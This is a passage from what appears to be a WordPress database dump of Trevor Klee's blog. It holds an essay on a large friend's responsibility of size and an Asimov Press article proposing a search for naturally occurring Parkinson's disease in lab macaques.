ignore it when it was inconvenient.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not saying it would all be a bad thing. I don’t think my friend leads a perfect life. He’s gotten overly rambunctious at parties. He enforces rules at the bar that I think are stupid, like the rule that no liquids can leave his bar to avoid people drinking on the street. There’s room for improvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, overall, I think things could be a lot worse if he wasn’t so conscious of his size. I think someone who was very confident that they could use his physical attributes better than he could would be very likely to make things worse in direct proportion to how confident they were. And I’d worry that, no matter how well intentioned they were, they’d cause a lot of damage with their antics before they realized why my friend is so intensely aware of how people perceive his size.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But we’ll see, I guess. I might be wrong. After all, I’ve never been big.</p>\n<!-- /wp:paragraph -->','On the responsibility of size','','publish','closed','closed','','on-the-responsibility-of-size','','','2025-07-03 19:36:46','2025-07-03 19:36:46','',0,'https://trevorklee.com/?page_id=514',0,'page','',0),
(515,1,'2025-07-03 19:36:46','2025-07-03 19:36:46','<!-- wp:paragraph -->\n<p>I have a friend who’s very large. He works as a bouncer, a fact that surprises nobody who meets him. In fact, I’ve literally seen people walk up to him on the street without any provocation and say, “Wow, you’re huge! Are you a bouncer or something?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Despite my friend’s size and profession, he is a nerd, unsurprisingly given that he’s my friend. He runs Linux on his home computer and is great at trivia, especially as it pertains to geography. He’s also a very talented cosplayer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!NhNh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01b0188f-8ccc-4a47-a78a-5fecaed0f5eb_1050x658.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!NhNh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01b0188f-8ccc-4a47-a78a-5fecaed0f5eb_1050x658.jpeg\" alt=\"My Neighbor Totoro (1988) - IMDb\" title=\"My Neighbor Totoro (1988) - IMDb\"/></a><figcaption class=\"wp-element-caption\">He hasn’t been Totoro for a cosplay yet, but he has recently been Shrek, King of the Cosmos, and some obscure British cartoon character with a frighteningly huge nose.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Sometimes I try to get my friend to come with me to the sort of nerdy, Internet-adjacent events I like to go to, like rationalist meetups. He comes occasionally and has a good time meeting random Internet nerds. Still, most of the time he doesn’t come. I asked him why, once, and he said, “Because nerds are scared of me”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was tempted to disagree with him, but, to be honest, the fact is undeniable. Whereas some guys (often football fans) are enamored with my friend’s size, most nerds are not. I have gone to many nerdy events with him where people are scared to start conversations with him or avoid him altogether.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be fair, this is not a ridiculous concern on their part. Not only is my friend huge, but he does work as a bouncer and used to fight MMA. He has been in many more physical confrontations than the average person. In terms of people who are physically dangerous at the nerd meetup by their very nature, he is in a rarefied group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, it’s sad, and it doesn’t really make sense in the context of the meetup. My friend is no more likely to punch someone over a debate on AI or role-playing games than I am. What people perceive is that he’s just a lot more likely to seriously hurt someone if he does so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Being aware of that perception is an innate part of my friend’s life, and has been since he was a large child. This awareness is sometimes a burden for him, like when he’s trying to ingratiate himself at an anime convention. It’s sometimes a blessing for him, like when he needs to bar a drunk from entering the bar or when he confidently accepts drinks from strangers at a club, because, “If they were going to pick anyone to rob, why would they pick me?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that perception is always there. And, because my friend is a reasonable human being, he adjusts his passage through society accordingly. He tries not to scare people or hurt people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes I imagine, though, what would happen in some sort of body swap situation. If one of the nerds at the rationalist meetup, someone who’s been small and skinny their whole life, were to swap bodies with my friend and suddenly become huge. Perhaps it wouldn’t even have to be someone who’s actually all that small, but someone who was normal sized and just felt small, and always wanted to be huge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Perhaps this body swap would be random, or perhaps it would be in response to 4 years of inflation and a severely miscalculated attempt to hold onto power and then pass it onto an unpopular, unelected, anointed successor. Regardless, I wonder if that skinny or normal-sized nerd would feel the same responsibilities of size as my friend.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, if they would take advantage of this body swap to suddenly act with the freedom they always wanted. I wonder if they’d go charging through crowds of people on the subway to rush to an open seat, parting people before them like Moses. Maybe they’d call out the drug addicts and alcoholics who stagger around Boston Common in the summer, and tell them they’d need to leave, implicitly threatening them in a way they couldn’t before. Maybe they’d just do stupid things, like cut in line at the supermarket and dare people to call them out. They’d probably feel much more liberated than my friend, much more comfortable to take advantage of people’s fear of them or ignore it when it was inconvenient.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not saying it would all be a bad thing. I don’t think my friend leads a perfect life. He’s gotten overly rambunctious at parties. He enforces rules at the bar that I think are stupid, like the rule that no liquids can leave his bar to avoid people drinking on the street. There’s room for improvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, overall, I think things could be a lot worse if he wasn’t so conscious of his size. I think someone who was very confident that they could use his physical attributes better than he could would be very likely to make things worse in direct proportion to how confident they were. And I’d worry that, no matter how well intentioned they were, they’d cause a lot of damage with their antics before they realized why my friend is so intensely aware of how people perceive his size.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But we’ll see, I guess. I might be wrong. After all, I’ve never been big.</p>\n<!-- /wp:paragraph -->','On the responsibility of size','','inherit','closed','closed','','514-revision-v1','','','2025-07-03 19:36:46','2025-07-03 19:36:46','',514,'https://trevorklee.com/?p=515',0,'revision','',0),
(516,1,'2025-07-03 19:37:42','2025-07-03 19:37:42','<!-- wp:paragraph -->\n<p>Animal models that suffer from the same diseases as humans are perhaps our most valuable resources for studying those conditions. Whether researching cancer in mice, tuberculosis in guinea pigs, or osteoarthritis in horses, scientists use such animals as accelerated case studies. Animals develop diseases more quickly than humans do. They can also be tracked continuously throughout the course of a disease and (unwittingly) serve as test subjects for risky, experimental treatments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But as useful as these models are, not every condition we hope to study occurs in animals.<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-1-155398093\">1</a>&nbsp;Humans are unique, after all, with our disproportionately large brains, longer lifespans, consumption of processed foods, and artificial living spaces.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parkinson’s is one of the diseases that many think could be unique to humans. Its causes are still unclear — genetics and environmental factors both seem to play a big role — but the disease generally has three features: chronicity, progression, and death of dopaminergic neurons, gradually leading to movement disorders. A “good” Parkinson’s model would need to capture these same features; once the disease process starts, it should not spontaneously halt without treatment (chronic), symptoms should worsen or expand over time (progressive), and it should exhibit the hallmark loss of dopaminergic neurons.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When lacking a natural animal model, researchers are often forced to rely on “inducing” conditions in animals where they would not normally arise. This is common in Alzheimer’s and AIDS research, where mice are genetically modified to express human genes associated with that disease. But as treatments tested on these induced animals&nbsp;<a href=\"https://journals.sagepub.com/doi/10.1177/02611929231157756\">fail to translate to humans</a>&nbsp;in more than 92 percent of cases, researchers prefer working with “natural” models.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!QkeU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bba55e7-eeae-4780-921b-365cd633836f_5616x3744.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!QkeU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bba55e7-eeae-4780-921b-365cd633836f_5616x3744.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">A cynomolgus macaque in the wild.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Parkinson’s researchers also induce animals to study the disease, often by injecting mice or monkeys with a&nbsp;<a href=\"https://en.wikipedia.org/wiki/MPTP#Contribution_of_MPTP_to_research_into_Parkinson\'s_disease\">neurotoxin called MPTP</a>, which destroys dopaminergic neurons.<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-2-155398093\">2</a>&nbsp;MPTP toxicity, though, doesn’t perfectly replicate the chronic, progressive nature of Parkinson’s; in some cases, symptoms plateau or partially reverse over time. Perhaps it is unsurprising, then, that after decades spent observing MPTP-treated animals (as well as&nbsp;<a href=\"https://timesmachine.nytimes.com/timesmachine/1983/12/09/100194.html?zoom=16&amp;pageNumber=20\">the few unfortunate humans who accidentally self-administered</a>&nbsp;the same neurotoxin), these induced-Parkinson’s experiments have not yielded any major breakthroughs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While there are Parkinson’s treatments that can decrease some symptoms, none are capable of altering the course of the disease. Are Parkinson’s researchers doomed to rely upon these imperfect animal models forever?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Perhaps not. In 2020, researchers at the Kunming Primate Research Center in China reported finding a cynomolgus macaque with what they claimed was&nbsp;<a href=\"https://academic.oup.com/nsr/article/8/3/nwaa292/6030034\">naturally occurring Parkinson’s</a>. Cynomolgus macaques, small primates native to Southeast Asia, are already widely used in drug development research. If this study is accurate, it suggests there could be many more afflicted monkeys — and possibly other<em>&nbsp;</em>types of animals with Parkinson’s — out there. Maybe we just haven’t looked hard enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribe to Asimov Press! It’s one of the best ways to support our work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Monkey Tremors</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The researchers claim they found the sick monkey by doing random behavioral screenings and watching the animals for abnormal gaits or tremors. The Kunming Primate Research Center houses about 2,400 primates, from which the authors screened just 60 — half cynomolgus and half rhesus macaques. All the animals were healthy,<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-3-155398093\">3</a>&nbsp;had not been used in previous experiments, and were between 7 and 30 years old (young adult to elderly in macaque terms). The study also states the monkeys were screened without any bias toward age or caretaker suspicion. Out of those 60 monkeys, the researchers determined that one appeared to have Parkinson’s — a young adult just 10 years old.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m skeptical that the study’s authors really performed the random, unbiased screening that the paper suggests. It seems more likely that a caretaker already suspected that a monkey had Parkinson’s, prompting the team to test more animals to bolster their research. Even if my hunch is correct, though, it wouldn’t influence the details regarding this monkey’s symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After all, the monkey&nbsp;<em>appeared&nbsp;</em>to have Parkinson’s. In a video included in the study, the animal is visibly shaking, unsteady on its feet, and unable to grab the bars of its cage properly — classic symptoms in humans with advanced, untreated Parkinson’s disease. The monkey also responded to standard treatments: When given L-Dopa — a molecule that imperfectly compensates for the dopamine lost from dying neurons — its tremors subsided. The researchers also administered apomorphine, another Parkinson’s medication, and saw similar improvements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:video -->\n<figure class=\"wp-block-video\"></figure>\n<!-- /wp:video -->\n\n<!-- wp:video -->\n<figure class=\"wp-block-video\"></figure>\n<!-- /wp:video -->\n\n<!-- wp:paragraph -->\n<p>After euthanizing the monkey, the team studied its brain and noted a severe loss of dopaminergic neurons — about 70 percent fewer than healthy, control monkeys. These neurons normally make and respond to dopamine, which, among other things, is responsible for coordinating movement in the body. Researchers also found about fivefold more alpha-synuclein aggregates in the monkey’s brain, implicated in forming the Lewy bodies linked to dementia in later-stage Parkinson’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And finally, the genetic analysis was strongly suggestive. The monkey carried four mutations in the LRRK2 gene, according to the study, which has been tied to Parkinson’s in humans and is known to cause&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/25836420/\">Parkinson’s-like symptoms</a>&nbsp;in mice. The researchers also ran follow-up experiments in the laboratory; cell lines carrying the same mutations as those found in the monkey had similar RNA expression patterns as cells taken from Parkinson’s patients.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, it’s still unclear whether these specific mutations in LRRK2 actually caused the monkey’s disease. The researchers did not sequence other monkeys in the colony to see if similar mutations were present in monkeys without Parkinson’s, so we don’t know for sure whether environmental or other genetic factors were to blame.<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-4-155398093\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, despite the nearly five years that have passed since this study was published, I’m not aware of any other reports showing Parkinson’s disease naturally occurring in a monkey or any other animal. Does this undermine the study’s findings?&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not necessarily. LRRK2-based Parkinson’s mutations occur in roughly 0.1 percent of humans, but they are often only partially penetrant. One common mutation in the&nbsp;<em>LRRK2&nbsp;</em>gene — called the G2019S variant — has an estimated 25 percent penetrance in humans. In other words, not everyone who carries the mutation will develop Parkinson’s. If cynomolgus monkeys shared both this prevalence and penetrance, then, only about 1 in 1,000<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-5-155398093\">5</a>&nbsp;would carry a LRRK2 mutation and an even smaller fraction would actually develop the disease from such a mutation.<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-6-155398093\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In humans, untreated Parkinson’s causes a gradual breakdown in movement and, often, cognitive impairment. It takes&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC7566883/\">about seven years from symptom onset</a>&nbsp;until Parkinson’s patients begin falling regularly while walking. But monkeys live one-fifth as long, so symptom onset to death might take only six months or a year, due to the rapid progression of neurodegeneration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Few research facilities care for thousands and thousands of monkeys, so it’d be easy to miss Parkinson’s cases. Even in larger centers, staff would not necessarily spot an unexpected disease, especially if the animals had short lifespans or their symptoms mimicked more common illnesses.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Tulane Primate Research Center in Covington, Louisiana is one of the largest animal facilities in the United States. It houses about 6,000 monkeys. If LRRK2-related Parkinson’s occurs at a rate of 1 in 1,000 monkeys over a 20-year lifespan (a rough estimate), then the annual chance of any given monkey developing Parkinson’s is 1 in 20,000. In the Louisiana colony, we would therefore expect only 0.3 new cases per year, leading to a 26 percent probability of at least one new Parkinson’s case annually. Thus, any primate facility trying to replicate the Chinese team’s findings in a single year might well fail — one-in-four odds, while better than nothing, are certainly not guaranteed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And even if a monkey&nbsp;<em>did&nbsp;</em>have Parkinson’s, it could become so impaired that it dies before detection. Or, depending on how old these monkeys are, they may be in a “prodromal” (presymptomatic) rather than in a symptomatic stage. Many other conditions — especially viral infections or age — can also cause similar symptoms to those observed in Parkinson’s. Researchers might simply see an adult animal that struggles to eat, is shunned by its fellow monkeys, and then passes away from “natural causes” — life as usual in a vivarium.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But perhaps there is a more&nbsp;<em>efficient</em>&nbsp;way to identify animals with Parkinson’s, or other neurodegenerative diseases, before they perish.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Upping the Search</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Large vivariums like the one at Tulane already have the means to identify naturally occurring cases of the disease, simply by sequencing every animal for Parkinson’s-linked mutations — not only LRRK2, but also rarer mutations in SNCA or PRKN genes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, pinpointing which mutations are truly disease-associated in monkeys can be challenging. One option is simply to sequence every monkey, catalog all genetic variants, and then track which monkeys (if any) develop Parkinson’s-like symptoms. Researchers could then trace a monkey’s symptoms back to its genetic identity. And even if this plan were to fail entirely, and the monkeys didn’t develop Parkinson’s after all, creating such a genetic library would still be valuable for understanding how — or whether — monkey orthologs mirror their pathogenic counterparts in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Vuyk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc29fbbf0-1a8d-4673-8e05-d2dd1276a90f_3400x3035.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Vuyk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc29fbbf0-1a8d-4673-8e05-d2dd1276a90f_3400x3035.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">The death rate from Parkinson’s per 100,000 people is highest in wealthy nations, and has been rising in the U.S. since the mid-1990s.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Animals suspected of having Parkinson’s could be immediately segregated out to form a new breeding colony. Those animals could also begin receiving treatments, such as L-Dopa, to test their effectiveness. Animals with advanced forms of Parkinson’s could be sacrificed and their clinical pathologies studied using microscopes and histology. Other animals could get follow-up behavioral screenings every 6 months or so.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would not be prohibitively expensive and would be well worth the potential upsides of finding an animal model that leads to lucrative treatments. A single animal can be sequenced today for about $300 and behavioral screening performed (based on technician labor) for about $75. It costs about $50 to treat one animal for one month and about $500 to perform detailed pathology experiments on neural tissue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The biggest outlay, by far, would be the initial cost of sequencing, which, for a 2,400-animal facility like the one in China, would run to almost $1 million. Fortunately, to establish a breeding colony, that sequencing would only need to occur once. Assuming that a facility located fewer than 10 primates with relevant mutations, the rest of the costs would be less than $10,000 per year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Tulane Primate Research facility recently received&nbsp;<a href=\"https://translationalneurodegeneration.biomedcentral.com/articles/10.1186/s40035-022-00285-2\">a $42-million, 5-year grant from the National Institutes of Health</a>, or about $8 million a year. An initiative like this would therefore be about ⅛ of its annual budget initially, and a negligible amount after that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If researchers independently confirmed Parkinson’s in other monkeys, the findings would also imply that&nbsp;<em>a variety of other animals&nbsp;</em>could develop the disease, too. Since LRRK2 mutations analogous to those found in humans can be induced in mice to produce Parkinson’s-like symptoms, it’s reasonable to assume that a small percentage of other species could inherit these variants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The benefits of a natural, fully-developed model of Parkinson’s would be incalculable. Right now, we don’t know why Parkinson’s develops, how to identify it in its prodromal phases, or, crucially, how to prevent it. At our current rate of progress, we’re unlikely to make these research breakthroughs any time soon. As it stands, people only get diagnosed with Parkinson’s once it becomes symptomatic, at which point there’s already been a fair amount of neurological damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Similarly, our treatments for Parkinson’s have not progressed that far beyond the original discovery of L-Dopa to reduce tremors.<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-7-155398093\">7</a>&nbsp;There are attempts to develop disease-modifying treatments, like using stem cells to regrow neurons, but any therapies affecting the brain are necessarily complex and dangerous. The infirm, elderly patients who make up the majority of Parkinson’s cases would most likely resist entering such complicated or dangerous trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If, however, we could reliably isolate lab animals with a high probability of getting diagnosed with Parkinson’s before they’re born, we’d be able to investigate the development of the disease in many different ways, such as blood-based biomarkers, pathology, or brain scans. We’d also be able to explore what factors are protective against Parkinson’s (i.e. why some animals with certain mutations develop it and others don’t), carry out preventative studies, and perform the sort of intensive interventional studies that are unethical to do with elderly humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Assuming we do successfully identify animals with Parkinson’s, we will have necessarily found the best animal models for the study of the disease. And even if it turns out that only primates, like the cynomolgus monkeys, can develop Parkinson’s, we’ll still have a model in which the disease develops much more quickly and one that can be kept in a lab. These monkeys could prove just as important for Parkinson’s research as guinea pigs were for tuberculosis, presenting the missing piece that could potentially lead to a cure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We just have to be more resolute in our search.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"/>\n<!-- /wp:separator -->\n\n<!-- wp:paragraph -->\n<p><strong>Trevor Klee&nbsp;</strong>is a blogger and president of Highway Pharmaceuticals, a company making drugs for animals and humans. He’s looking for people who are interested in pursuing this search for naturally occurring Parkinson’s in animals. If you’re interested, please contact him at trevor[at]highwaypharm.com.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Cite:&nbsp;</strong>Trevor Klee. “A Search for Sick Animals.”&nbsp;<em>Asimov Press&nbsp;</em>(2025). DOI:&nbsp;<a href=\"https://doi.org/10.62211/47ur-65jg\">https://doi.org/10.62211/47ur-65jg</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lead image by&nbsp;<a href=\"https://ellawatkinsdulaneyphd.com/\">Ella Watkins-Dulaney</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-1-155398093\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Only a&nbsp;<a href=\"https://medium.com/@karenrubin/most-animals-dont-menstruate-ccbc6ae5cb9e\">handful of species menstruate</a>, for example, which complicates studies of reproductive disorders. Down syndrome requires precisely 46 chromosomes, which only humans have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-2-155398093\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are other induced chemical models, too, including 6-OHDA and rotenone. All of them have the same issue of not causing a disease that is chronic or progressive, however.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-3-155398093\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s unclear how monkeys can be both healthy and suffering from Parkinson’s, but I’m guessing they mean they were&nbsp;<em>otherwise</em>&nbsp;healthy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-4-155398093\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Humans who smoke cigarettes appear to have a&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/27751556/\">reduced risk</a>&nbsp;of Parkinson’s, for example, whereas those exposed to pesticides seem to have an increased risk. In short, as a person’s environment appears to play a role in triggering the disease, a similar influence might be presumed in monkeys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-5-155398093\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s hard to say a more precise number than “1 in 1,000” without getting into the weeds on genetics, as mutation rates vary widely across organisms and different parts of the genome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-6-155398093\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Overall, the lifetime risk of Parkinson’s in humans is often estimated to be&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/27751556/\">around 1–2 percent</a>, and about 90 percent of cases have no known genetic cause.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/cp/156544150#footnote-anchor-7-155398093\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Levodopa works for a time, but motor fluctuations and dyskinesia do reappear. One large, prospective study, called&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/31656768/\">STRIDE-PD</a>, found that more than 50% of Parkinson’s patients “develop motor complications, fluctuations and/or dyskinesia, after 4 years of treatment with levodopa at an average dosage of 400 mg daily.\"</p>\n<!-- /wp:paragraph -->','A search for sick animals','','publish','closed','closed','','a-search-for-sick-animals','','','2025-07-03 19:37:42','2025-07-03 19:37:42','',0,'https://trevorklee.com/?page_id=516',0,'page','',0),
(517,1,'2025-07-03 19:37:42','2025-07-03 19:37:42','<!-- wp:paragraph -->\n<p>Animal models that suffer from the same diseases as humans are perhaps our most valuable resources for studying those conditions. Whether researching cancer in mice, tuberculosis in guinea pigs, or osteoarthritis in horses, scientists use such animals as accelerated case studies. Animals develop diseases more quickly than humans do. They can also be tracked continuously throughout the course of a disease and (unwittingly) serve as test subjects for risky, experimental treatments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But as useful as these models are, not every condition we hope to study occurs in animals.<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-1-155398093\">1</a>&nbsp;Humans are unique, after all, with our disproportionately large brains, longer lifespans, consumption of processed foods, and artificial living spaces.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parkinson’s is one of the diseases that many think could be unique to humans. Its causes are still unclear — genetics and environmental factors both seem to play a big role — but the disease generally has three features: chronicity, progression, and death of dopaminergic neurons, gradually leading to movement disorders. A “good” Parkinson’s model would need to capture these same features; once the disease process starts, it should not spontaneously halt without treatment (chronic), symptoms should worsen or expand over time (progressive), and it should exhibit the hallmark loss of dopaminergic neurons.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When lacking a natural animal model, researchers are often forced to rely on “inducing” conditions in animals where they would not normally arise. This is common in Alzheimer’s and AIDS research, where mice are genetically modified to express human genes associated with that disease. But as treatments tested on these induced animals&nbsp;<a href=\"https://journals.sagepub.com/doi/10.1177/02611929231157756\">fail to translate to humans</a>&nbsp;in more than 92 percent of cases, researchers prefer working with “natural” models.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!QkeU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bba55e7-eeae-4780-921b-365cd633836f_5616x3744.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!QkeU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bba55e7-eeae-4780-921b-365cd633836f_5616x3744.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">A cynomolgus macaque in the wild.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Parkinson’s researchers also induce animals to study the disease, often by injecting mice or monkeys with a&nbsp;<a href=\"https://en.wikipedia.org/wiki/MPTP#Contribution_of_MPTP_to_research_into_Parkinson\'s_disease\">neurotoxin called MPTP</a>, which destroys dopaminergic neurons.<a href=\"https://trevorklee.substack.com/cp/156544150#footnote-2-155398093\">2</a>&nbsp;MPTP toxicity, though, doesn’t perfectly replicate the chronic, progressive nature of Parkinson’s; in some cases, symptoms plateau or partially reverse over time. Perhaps it is unsurprising, then, that after decades spent observing MPTP-treated animals (as well as&nbsp;<a href=\"https://timesmachine.nytimes.com/timesmachine/1983/12/09/100194.html?zoom=16&amp;pageNumber=20\">the few unfortunate humans who accidentally self-administered</a>&nbsp;the same neurotoxin), these induced-Parkinson’s experiments have not yielded any major breakthroughs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While there are Parkinson’s treatments that can decrease some symptoms, none are capable of altering the course of the disease. Are 